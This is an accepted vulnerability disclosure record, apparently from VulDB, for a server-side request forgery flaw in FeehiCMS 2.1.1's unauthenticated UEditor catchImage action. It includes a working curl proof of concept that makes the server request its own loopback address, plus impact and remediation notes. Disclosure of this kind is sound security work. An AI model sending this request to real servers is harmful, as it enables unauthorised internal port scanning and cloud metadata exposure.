| Title | liufee feehi cms 2.1.1 SSRF |
|---|
| Description | FeehiCMS 2.1.1 UEditor catchImage action is vulnerable to Server-Side Request Forgery (SSRF). The IP validation in backend/widgets/ueditor/Uploader.php:235 uses FILTER_FLAG_NO_PRIV_RANGE, which blocks private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) but does NOT block loopback (127.0.0.0/8) or link-local (x.x.x.x/16) addresses.
Because assets/* is whitelisted (no auth required), an attacker can force the server to send HTTP requests to its own loopback interface and scan internal ports.
Proof of Concept:
curl -s -m 8 -X POST "http://TARGET:18080/admin/index.php?r=assets/ueditor&action=catchimage" -d 'source[]=http://127.0.0.1:1/test.png'
Server response:
PHP Warning: get_headers(http://127.0.0.1:1/test.png): failed to open stream: Connection refused at Uploader.php:241
Control test with 10.0.0.1 returns "INVALID IP", proving 127.0.0.1 bypasses the filter.
Impact:
Internal port scanning, internal service access, cloud metadata exposure (x.x.x.x).
Remediation:
Use FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE, add 127.0.0.0/8 and x.x.x.x/16 blacklist, remove assets/* from allowActions.
References:
- https://github.com/liufee/cms
- https://github.com/liufee/cms/issues/95
- Full report: https://github.com/yang5ynag/cve/blob/main/FEHI-002-UEditor-catchImage-SSRF.md
- PoC: https://github.com/yang5ynag/cve/blob/main/poc_ssrf.py |
|---|
| User | lyang (UID 100042) |
|---|
| Submission | 07/22/2026 08:22 (2 months ago) |
|---|
| Moderation | 09/06/2026 10:59 (2 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 399397 [liufee FeehiCMS up to 2.1.1 UEditor Uploader.php catchImage source[] server-side request forgery] |
|---|
| Points | 17 |
|---|